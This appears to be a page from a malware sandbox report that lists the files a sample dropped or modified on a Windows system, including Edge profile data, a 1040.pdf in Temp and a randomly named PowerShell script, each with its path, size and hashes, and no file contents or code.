Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 2b363f693690aa479b03b10f13d837c7277e1cd8d6c10d7150235a6d4eee0f34
MD5 ddf8b13fdf9db751ce6cc3328e266fa7
SHA1 1cd0cf7ab6698157c24338d81d076859d18cfba7
SHA512 e7b35b46a0f47d516568817a1f6db4f2445e353959197912eea8a7ab8f6a257b9bc5ba855ad99faa8b859e7ac8c3141a43c223c051fe9bd656f75b6384e18fc8
TLSH
T1E8D08CF0BB297982D26534B2B5229711B2B140AA3A2BD6D1A4A0C50C8C3B8D9A786183
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 3838e0c9b97b740997025cc20f9894a4fb2fc1d09513fd3de779b19d7f969df9
MD5 339ab2331fb3aae4a95fd88c7e816532
SHA1 6574ff6ed98e60945fa77f8a7d8ad1edb5290a0d
SHA512 5703e993048ce770ae38db5cd87e9d20ad636253535d52856c3755705dc6df3c453a6d3e0d99cf03becd2767b8b650787c5242fb56cd30f29d5089d3da98f0d9
TLSH
T14DE02BEAC961EC3B08FC0F2C74924749EB50132B2B41494F3B3C920C4FB5276819187C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 41adf81264f75f2828140faeadfa51beba83eabf0b249fca608265a07326b0ac
MD5 687f36068f1a1e240c12812724208646
SHA1 43296182a31174b9395404adde42909b368580fa
SHA512 8bb5462e7ee6a3150aa813808fa9a152810e981f74e77c240798251236461bd772da26d80eda19a8f4f9999c3e00a348a22ba9a0d020297ba2f2a904fe4aad62
TLSH
T1E751A60583744A5EC72213B510E2CEB4FFB9F4970A436F12AF56817C6EDA7C1609A4CC
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 d222604fa6088d45ceffb8ac516cee263403274dbec1167a33094658b5204a5a
MD5 e04756868054f25c34f1a4c25d553618
SHA1 187b6280b3dce58caaa1e8d17e8cf1b523cf3293
SHA512 97cdaff37e752ab22f21e7d34331e5e34e0fe48ec04bbbb72aaebc6a3bda1667085673c0968cacd2a8e1c249c4f8281f7e5a8bd547854bd1fe77a5e4a35852a2
TLSH
T1A641ADF783F4856E8A0195F0AA18AE2FCE1D0915832C3D5AC9E4AF5B93E3471E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 d0393336ba0245a94aff044910c8b7f3791cef97b1e16ddf16339d3a94dd69e1
MD5 db5bccd1cd67bc6f279dc85c49f8914b
SHA1 ee1935674ea556695491ba9ee8076aac37a195f5
SHA512 40f63938f8c145c9c6b69c815666d7a2b9c70f0450c1cb1c3337f9d67bb8be46d92fe079a0d3bce8658b753cc6b1fbcdd38d0031c5ca91532f6a07abdf9791e4
SSDEEP 192:sxR+RbyMqZjK1Ml8UQbcu/ftswMJpZsGJlsJyzoA8peB/g6+WNIYmXRwbvGsIgDF:sxR+gqAu/ftswInsGr4/i/5IBRmJX
TLSH
T17F72E91A6A289D3BCCD7D219FA957F53D6F81573A2904E44AAFC8A0C01E76DD211383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 b20268f5103ac938cd99116170e81e28a3a28bde9782e99b9e4be3f241d6582c
MD5 31ab26ca0fc0c8d48a076ec998fa0acb
SHA1 c7a25995c295954c76a6c4f4d6b66d75ee556f34
SHA512 3a9adc3768d8f727661e7972dc14d36a8da8159a28b2c66f795e567bae700c2045ba9c3a05499282ae889f958fd344a002758e123b0fd249814b404a8f2d1b81
SSDEEP 192:sxR+RbyMqZjK1Ml8wcu/ftsUM/pZsGJlsJyzoA8peB/g6+WNIYmYRwbvGsIgjA3J:sxR+gCu/ftsUqnsGr4/i/5IqRmjAZ
TLSH
T13472D91A6A389D3BCCD7D219FA557B53C6F81533A2905E44AAFC8A0C01E76DD211383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 fc721a64b98821c71d2285ccfd7c9bb6926ed053a867e2a7d0b676161d45b758
MD5 1c1b8225db7cf0408c10598cfbcdf325
SHA1 c109fe9f518d09761a8445a655f83db1a0b72187
SHA512 0dcab2e44347149d25084e6496f54eb4aeb7b0914e4bfe4f43e4f69cef716ac8fc27f774fde35c61cd17bcd7ac7e91fa9f85713542a6d14c3ec92057b7c6eb87
SSDEEP 768:RGqO3j7pLuL7yrWgzvfiX8F1+UoAYDCx9Tuqh0VfUC9xbog/OVzu7z9wQroPwV2:RGqO3VE7yrWgzvfiXu1jagu7pw7PwV2
TLSH
T18EE2EC3B680CC77F4F804A9CEC29BE9A6DA802CF56D8895447EE844C03C7AFB55165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 43b9ec4f09eb561a2148d6b8ee3e974c4a737e914347ccbb72e53209feb03e9b
MD5 ed62153b70856d1e2639c5a96999b7a5
SHA1 85237aeb283008da08fcf514edf2cf047d0aa643
SHA512 ed7e50332f351bf473b10c783cf96792a2df92d599191727d58505d4cfa3e18c7e4447d11d0fe02617d7ac8cee74649b96581fa91db121119555c42efd07bd2f
SSDEEP 384:9TqfDxl5UVY3bXp3ZUzD4BzSc7eCUG2XatW6AE3k18UFa20TWaseefCFeSo83Mt+:aR55IlHnOLRXxxin718
TLSH
T138B2AE5130BA2B00387D29099379D42F5A4630A230DEA87B3B6835E56F67E005FFDAD9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 1eb84c712852c9a33f077f2b7f92a2cc53cb6040245ee7b148fbfe1cc6f8bc72
MD5 07da750846df9f47136b3c0f2a8b0c0c
SHA1 d00f8df6aef647504e448eaba4dbe769713c0032
SHA512 431cc794674b8c07a0d98a4762a30136cfdf3b819acb55ef42ea5f21c8dbaf8a370c04f6984c1bea11549c12a6d1f3139c709abb24540648ac6f11026aabde4e
SSDEEP 384:nOiF1tNn/s3n9SI8Nb8TUNTUlIRNnznNF7P2XYfo1Gg8s7aA5AVOObjI9G6w7pU4:lF1j+9Z+wg/rPcGg8EP5AV29M/
TLSH
T127D23A32EC55CE67EDE68BD9B74A3A86DEE421A7C58C9DC8EAC95D0C01D319D0307816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 2353987abfa90aae3aef6bb0cec1500ef8b6529ab001e97d6c906192da9e346d
MD5 4e776dfefae64efecf95e5cf8876699b
SHA1 3ee4efb385f047f77d68a9649e426ea6797a1125
SHA512 55f93d6ccfce9281239defe0412c341cfb1a65068f29c06b6d5883cf5fad8251e74841fb135c2aa8f287f0a75e675c9cf8df959fd05b5c8f59e0d71cf7bcbfb4
SSDEEP 384:n9iF1tNn/s3n9SsD8Nb8TUNTUlIRYuznNUquXYfo1Gg8s7aA5aVZZE8L+1IzB:0F1j+9R+wglUGg8EP5aVZZX
TLSH
T1C9B22B32EC95CE679DE68FD9B74A7686DEE411A3C5889DC4EAC95D4C00D32DD030BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 959328466f8cf503fd305b617625f0c71de38d9a2b8a274be257840085baa595
MD5 602eb54523d2def8ad1ddb1b8eb31379
SHA1 e4c295d28a97bea95edb637bd59a8844f0125016
SHA512 cfc805bac8331fe684649c9765df2d4a63aa9a0ad34092e499772f366562da1fc4fd8832fbdd0efffc42146c3d6b74104c3da388eab9760c175d699782b436c2
SSDEEP 384:naiF1tNn/s3n9SsD8NI8TUNTUlIRYTznNVaHXYfo1Gg8s7aA6Mmn15wbAjEJp8Lj:RF1j+9RpwgxXGg8EP6Mmn12bfJw
TLSH
T1D5C23936EC94CA6BEDF68FC9B70A7646EEE411A3859C69D8DAC85D4C01D32DD0307C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 cb74dff7437b607bb7199ec6bcb5dce6a9343bf56c0125cee23b0dd413534fce
MD5 cc25758b5132d12b75af5ccff6aeecc4
SHA1 342067734af7296fe42f3a2ff018e0684d02eb0b
SHA512 1005d363c47eee54a61cd189ed0859f473a665e60a69f0961c0edbd573b04dc861cc440e818f6c1e5fc6186d7098c0f80bca95e5aef26eafe4a934a7fe0ef9bf
SSDEEP 384:nXiF1tNn/s3n9SI8Nb8TUNTUlIRNnznNU7P2XYfo1Gg8s7aA5aVOObjI9G6w7pU4:SF1j+9Z+wg/APcGg8EP5aV29M/
TLSH
T137D24A32EC95CE67EDE68BD9B74A3A86DEE421A3C58C9DC8EAC95D0C01D319D0307C16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 a63df8ff1061b1b0bfebc60f5e235c769484192fb401dea4d2a47adaaf954dac
MD5 da79eb37226523abdfdf4560e8030955
SHA1 a3843d7852c675223c9b49280d2d6ba11e537099
SHA512 bbfa0a26a4fc7518c4053ce8816582e992ca1bae96c15c6ee9639303a7a70b47809812910d72cbe9df9d71a2aa465994bff2500dfc439fbe6a670ea2156a4f29
SSDEEP 384:nqiF1tNn/s3n9SV8Nb8TUNTUlIRNnznNF7P2XYfoOGg8s7aA50VOObjI9G6w7pU4:hF1j+9w+wg/rPtGg8EP50V29M/
TLSH
T133D23A32EC55CE67EDE68BD9B74A3A87DEE421A7858C9DC8EAC95D0C00D31AD0707C16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

well_known_domains.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Well Known Domains\1.2.0.0\well_known_domains.dll
Size 572KB
SHA256 2778063e5ded354d852004e80492edb3a0f731b838bb27ba3a233bc937592f6e
MD5 f5f5b37fd514776f455864502c852773
SHA1 8d5ed434173fd77feb33cb6cb0fad5e2388d97c6
SHA512 b0931f1cae171190e6ec8880f4d560cc7b3d5bffe1db11525bd133eaf51e2e0b3c920ea194d6c7577f95e7b4b4380f7845c82eb2898ad1f5c35d4550f93a14b6
SSDEEP 6144:XbBXgDO9CyiiKPFv3GPkDNiTHoIDiXkCBIvzVXCfwX5pWr+W1gUe3h576:XbBQDwi5FvGPkDNirYBIvzVXCoXWiWr
TLSH
T130C49E02B7D846A8D07AD0748A574642EA76BC950F74A6DF02E0B27D2F77BE45B3E310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 961bf7ba9fe38186dd7e2e7a18ac70d227993bf3897057b293379496a0ba7cf6
MD5 f61cdf304ad2adf189afe55c3aafdcfd
SHA1 ecdd8f737a1c40eb7ffaa0f56c442ac851edd499
SHA512 8802d02f0a6210eb2d589fa0ed1f72b0f3a7b2c5b45554735a1596ddf24158941cde6e152cf6e6d515aa9749f49f136eabd545b9c12a52f7386f00f3d758b6b6
TLSH
T153414FE09C392AD1E4BE0E6F745B34FC94ECD72AF4A0343D2848EE98467965D214043F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 b96c7994f75f331aed342b14d01e354b69bdb7fc112f240fa10e1cfad58d7809
MD5 d3edbf6c884af2dc148a11877564100b
SHA1 0fbd2939f178498a027540c76bced28e41d21ce1
SHA512 7d5b22358d71268db3dcdc3deb0141b676040523827eb31b918d42ac60948254ef63dffc7e85a7be98394b95f648f6ad7e3341576086538f62dde88a8c91f9e9
TLSH
T124313EE19C392AC2D4BE0DAF645B25FC94E89316F4A430386448EE58563925E224047F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 1ac00cc8d1a6af033d4c601b0b5df2e1c692705f18bdb74c7c35228127ac0cda
MD5 32cce54706705e1d6779216c0e9ea0f9
SHA1 422e8cb71b7424e2f875fd6b0bea5be3a648af96
SHA512 85e8be08701cb45328328fa8241e361aada57a207eec63ea55f254b7db99c4e07f884b10b8cb503902f0c0cc687cb67f55689b5f7e29bcadad6ada0c02512f54
TLSH
T1EA314FE18C392AC2D4BE0DBF744B24FC94E8D727F49130382858EE58963965D268043F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 975cda68a589dbee215de0ecf9453d7d885e0875241d8ad4143f0002e9eb4ac9
MD5 6634f4370a7ff5c92001903c09d24e54
SHA1 a163a6e939105fc9baf0b0efd0e38cbd280e5213
SHA512 1f71446cf30b75ac799b0385f40e1a19da89572479905f74b942e5ee758c55ced5446b7ebe81869bea9257db91ba4d823ad55dc179c60db4abff196126486417
TLSH
T12F4140E08C392AD1D4BE0D7F744B34EC94ECD727F4A030392848EE98563A65D224043F
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 78a1b0900a13d013a6c088c8b8eadf6e32f44840b3ba995e8e2ceccecc111df2
MD5 061edb3c621f763184ba561a082ff108
SHA1 4c5671d139b7137f1f116494f1a777e713003fb3
SHA512 3889ba308e0b437daefefd8180f74c6dddfcf055c34a541c16aa1e9d7f9fdf1f4804abf390257bea4701e17232323f0e8ae8a80a13f263f243b7420c44844567
TLSH
T1D1218933B3DC8614CC8A403A10CEAC1036B6C7DB809ECFABBB84D544B42F699DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

1040.pdf

Path C:\Users\Admin\AppData\Local\Temp\1040.pdf
Size 90KB
SHA256 9a496fa632c4a5c0db8bbdc13f1151c16aa47ffb7f009dd34693eb62a828f39a
MD5 bef71671e6489530396d075cf26ceb30
SHA1 8342111bed573b7dbc33ef0bff558bf386d27487
SHA512 c02668ae168e3d1b27ecfad79501e9949283f56ab25ca9aa3c8a2e07a5a5360ff5855f4f48b379b6f83e46aec23dd13623fb29245b534d58f1d7b298a5d7636c
SSDEEP 1536:3v+yOquwtJPmWc183czKkwCp8CKCr1DsOycTznM3:GyNuwtJOWc188wCp3NCORzO
TLSH
T1B7935BF497CAA980E0521654B72D7522829E71E37EC4250B7F5C42F58B43FC3E49AB86
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_zahbxa5u.px1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zahbxa5u.px1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

hVrEaCRp.ps1

Path C:\Users\Admin\AppData\Roaming\hVrEaCRp.ps1
Size 8KB
SHA256 2cb3f4eaf0fa543b10dc9f0c6b46733d2934299a8314221b6fcf06b4b00ba83c
MD5 2823b0cef125921c8fcb7767deabfae2
SHA1 5267ceef9480871521771252f0b787693748cba9
SHA512 ac536f61a03cc5544a806b3d9297248fa356b4014e0d276aefedc11eebcb70a6cf153727f2e2098c589240199f1837b785fb55303c177c336bc78e9ebba3f4a7
SSDEEP 192:ADAwrXZ2McpVv+oD0x17FOVZsSdrmbJuT:FwrwM6Pq0amrmbUT
TLSH
T190025C44F264BC86258B050D59B406963FE98A120D7AE7F3362CC2A7B8F148CD197BDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3960-7-0x0000019EDBBE0000-0x0000019EDBC02000-memory.dmp

Download